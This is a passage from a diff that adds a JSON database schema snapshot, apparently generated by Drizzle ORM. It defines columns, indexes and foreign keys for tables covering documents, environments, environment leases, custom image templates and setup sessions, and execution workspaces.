"documents_company_id_companies_id_fk", + "tableFrom": "documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "documents_created_by_agent_id_agents_id_fk": { + "name": "documents_created_by_agent_id_agents_id_fk", + "tableFrom": "documents", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "documents_updated_by_agent_id_agents_id_fk": { + "name": "documents_updated_by_agent_id_agents_id_fk", + "tableFrom": "documents", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "documents_locked_by_agent_id_agents_id_fk": { + "name": "documents_locked_by_agent_id_agents_id_fk", + "tableFrom": "documents", + "columnsFrom": [ + "locked_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.environment_custom_image_setup_sessions": { + "name": "environment_custom_image_setup_sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "environment_id": { + "name": "environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "template_id": { + "name": "template_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "promoted_template_id": { + "name": "promoted_template_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_lease_id": { + "name": "provider_lease_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "environment_lease_id": { + "name": "environment_lease_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'starting'" + }, + "started_by_user_id": { + "name": "started_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_by_agent_id": { + "name": "started_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "base_template_ref": { + "name": "base_template_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "connection_summary": { + "name": "connection_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "connection_secret_ref": { + "name": "connection_secret_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "environment_custom_image_setup_sessions_environment_status_idx": { + "name": "environment_custom_image_setup_sessions_environment_status_idx", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_setup_sessions_environment_active_uq": { + "name": "environment_custom_image_setup_sessions_environment_active_uq", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')", + "concurrently": false + }, + "environment_custom_image_setup_sessions_template_idx": { + "name": "environment_custom_image_setup_sessions_template_idx", + "columns": [ + { + "expression": "template_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_setup_sessions_promoted_template_idx": { + "name": "environment_custom_image_setup_sessions_promoted_template_idx", + "columns": [ + { + "expression": "promoted_template_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_setup_sessions_expires_idx": { + "name": "environment_custom_image_setup_sessions_expires_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_setup_sessions_provider_lease_idx": { + "name": "environment_custom_image_setup_sessions_provider_lease_idx", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_lease_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "environment_custom_image_setup_sessions_environment_id_environments_id_fk": { + "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk", + "tableFrom": "environment_custom_image_setup_sessions", + "columnsFrom": [ + "environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": { + "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk", + "tableFrom": "environment_custom_image_setup_sessions", + "columnsFrom": [ + "template_id" + ], + "tableTo": "environment_custom_image_templates", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": { + "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk", + "tableFrom": "environment_custom_image_setup_sessions", + "columnsFrom": [ + "promoted_template_id" + ], + "tableTo": "environment_custom_image_templates", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": { + "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk", + "tableFrom": "environment_custom_image_setup_sessions", + "columnsFrom": [ + "environment_lease_id" + ], + "tableTo": "environment_leases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": { + "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk", + "tableFrom": "environment_custom_image_setup_sessions", + "columnsFrom": [ + "started_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.environment_custom_image_templates": { + "name": "environment_custom_image_templates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "environment_id": { + "name": "environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "template_kind": { + "name": "template_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "template_ref": { + "name": "template_ref", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_template_ref": { + "name": "source_template_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_environment_config_fingerprint": { + "name": "source_environment_config_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "captured_at": { + "name": "captured_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "superseded_by_template_id": { + "name": "superseded_by_template_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "environment_custom_image_templates_environment_status_idx": { + "name": "environment_custom_image_templates_environment_status_idx", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_templates_environment_provider_status_idx": { + "name": "environment_custom_image_templates_environment_provider_status_idx", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_templates_environment_active_uq": { + "name": "environment_custom_image_templates_environment_active_uq", + "columns": [ + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"environment_custom_image_templates\".\"status\" = 'active'", + "concurrently": false + }, + "environment_custom_image_templates_superseded_by_idx": { + "name": "environment_custom_image_templates_superseded_by_idx", + "columns": [ + { + "expression": "superseded_by_template_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_custom_image_templates_last_used_idx": { + "name": "environment_custom_image_templates_last_used_idx", + "columns": [ + { + "expression": "last_used_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "environment_custom_image_templates_environment_id_environments_id_fk": { + "name": "environment_custom_image_templates_environment_id_environments_id_fk", + "tableFrom": "environment_custom_image_templates", + "columnsFrom": [ + "environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "environment_custom_image_templates_created_by_agent_id_agents_id_fk": { + "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk", + "tableFrom": "environment_custom_image_templates", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": { + "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk", + "tableFrom": "environment_custom_image_templates", + "columnsFrom": [ + "superseded_by_template_id" + ], + "tableTo": "environment_custom_image_templates", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.environment_leases": { + "name": "environment_leases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "environment_id": { + "name": "environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "heartbeat_run_id": { + "name": "heartbeat_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "lease_policy": { + "name": "lease_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ephemeral'" + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_lease_id": { + "name": "provider_lease_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "acquired_at": { + "name": "acquired_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "released_at": { + "name": "released_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cleanup_status": { + "name": "cleanup_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "environment_leases_company_environment_status_idx": { + "name": "environment_leases_company_environment_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_leases_company_execution_workspace_idx": { + "name": "environment_leases_company_execution_workspace_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_leases_company_issue_idx": { + "name": "environment_leases_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_leases_heartbeat_run_idx": { + "name": "environment_leases_heartbeat_run_idx", + "columns": [ + { + "expression": "heartbeat_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_leases_company_last_used_idx": { + "name": "environment_leases_company_last_used_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_used_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environment_leases_provider_lease_idx": { + "name": "environment_leases_provider_lease_idx", + "columns": [ + { + "expression": "provider_lease_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "environment_leases_company_id_companies_id_fk": { + "name": "environment_leases_company_id_companies_id_fk", + "tableFrom": "environment_leases", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "environment_leases_environment_id_environments_id_fk": { + "name": "environment_leases_environment_id_environments_id_fk", + "tableFrom": "environment_leases", + "columnsFrom": [ + "environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_leases_execution_workspace_id_execution_workspaces_id_fk": { + "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "environment_leases", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_leases_issue_id_issues_id_fk": { + "name": "environment_leases_issue_id_issues_id_fk", + "tableFrom": "environment_leases", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": { + "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk", + "tableFrom": "environment_leases", + "columnsFrom": [ + "heartbeat_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.environments": { + "name": "environments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driver": { + "name": "driver", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "env_vars": { + "name": "env_vars", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "environments_status_idx": { + "name": "environments_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "environments_local_driver_idx": { + "name": "environments_local_driver_idx", + "columns": [ + { + "expression": "driver", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"environments\".\"driver\" = 'local'", + "concurrently": false + }, + "environments_managed_sandbox_idx": { + "name": "environments_managed_sandbox_idx", + "columns": [ + { + "expression": "driver", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true", + "concurrently": false + }, + "environments_name_idx": { + "name": "environments_name_idx", + "columns": [ + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.execution_workspace_runtime_leases": { + "name": "execution_workspace_runtime_leases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "owner_key": { + "name": "owner_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "owner_issue_id": { + "name": "owner_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_run_id": { + "name": "owner_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_action": { + "name": "last_action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "renewed_at": { + "name": "renewed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "execution_workspace_runtime_leases_company_workspace_idx": { + "name": "execution_workspace_runtime_leases_company_workspace_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspace_runtime_leases_company_owner_idx": { + "name": "execution_workspace_runtime_leases_company_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspace_runtime_leases_expires_at_idx": { + "name": "execution_workspace_runtime_leases_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "execution_workspace_runtime_leases_company_id_companies_id_fk": { + "name": "execution_workspace_runtime_leases_company_id_companies_id_fk", + "tableFrom": "execution_workspace_runtime_leases", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": { + "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "execution_workspace_runtime_leases", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": { + "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk", + "tableFrom": "execution_workspace_runtime_leases", + "columnsFrom": [ + "owner_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": { + "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk", + "tableFrom": "execution_workspace_runtime_leases", + "columnsFrom": [ + "owner_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": { + "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk", + "tableFrom": "execution_workspace_runtime_leases", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "execution_workspace_runtime_leases_execution_workspace_id_unique": { + "name": "execution_workspace_runtime_leases_execution_workspace_id_unique", + "columns": [ + "execution_workspace_id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.execution_workspaces": { + "name": "execution_workspaces", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_workspace_id": { + "name": "project_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source_issue_id": { + "name": "source_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "strategy_type": { + "name": "strategy_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "cwd": { + "name": "cwd", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "repo_url": { + "name": "repo_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "base_ref": { + "name": "base_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "branch_name": { + "name": "branch_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_type": { + "name": "provider_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_fs'" + }, + "provider_ref": { + "name": "provider_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "derived_from_execution_workspace_id": { + "name": "derived_from_execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "opened_at": { + "name": "opened_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "closed_at": { + "name": "closed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "cleanup_eligible_at": { + "name": "cleanup_eligible_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "cleanup_reason": { + "name": "cleanup_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "execution_workspaces_company_project_status_idx": { + "name": "execution_workspaces_company_project_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspaces_company_project_workspace_status_idx": { + "name": "execution_workspaces_company_project_workspace_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspaces_company_source_issue_idx": { + "name": "execution_workspaces_company_source_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspaces_company_last_used_idx": { + "name": "execution_workspaces_company_last_used_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_used_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "execution_workspaces_company_branch_idx": { + "name": "execution_workspaces_company_branch_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "branch_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "execution_workspaces_company_id_companies_id_fk": { + "name": "execution_workspaces_company_id_companies_id_fk", + "tableFrom": "execution_workspaces", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "execution_workspaces_project_id_projects_id_fk": { + "name": "execution_workspaces_project_id_projects_id_fk", + "tableFrom": "execution_workspaces", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "execution_workspaces_project_workspace_id_project_workspaces_id_fk": { + "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk", + "tableFrom": "execution_workspaces", + "columnsFrom": [ + "project_workspace_id" + ], + "tableTo": "project_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "execution_workspaces_source_issue_id_issues_id_fk": { + "name": "execution_workspaces_source_issue_id_issues_id_fk", + "tableFrom": "execution_workspaces", + "columnsFrom": [ + "source_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" 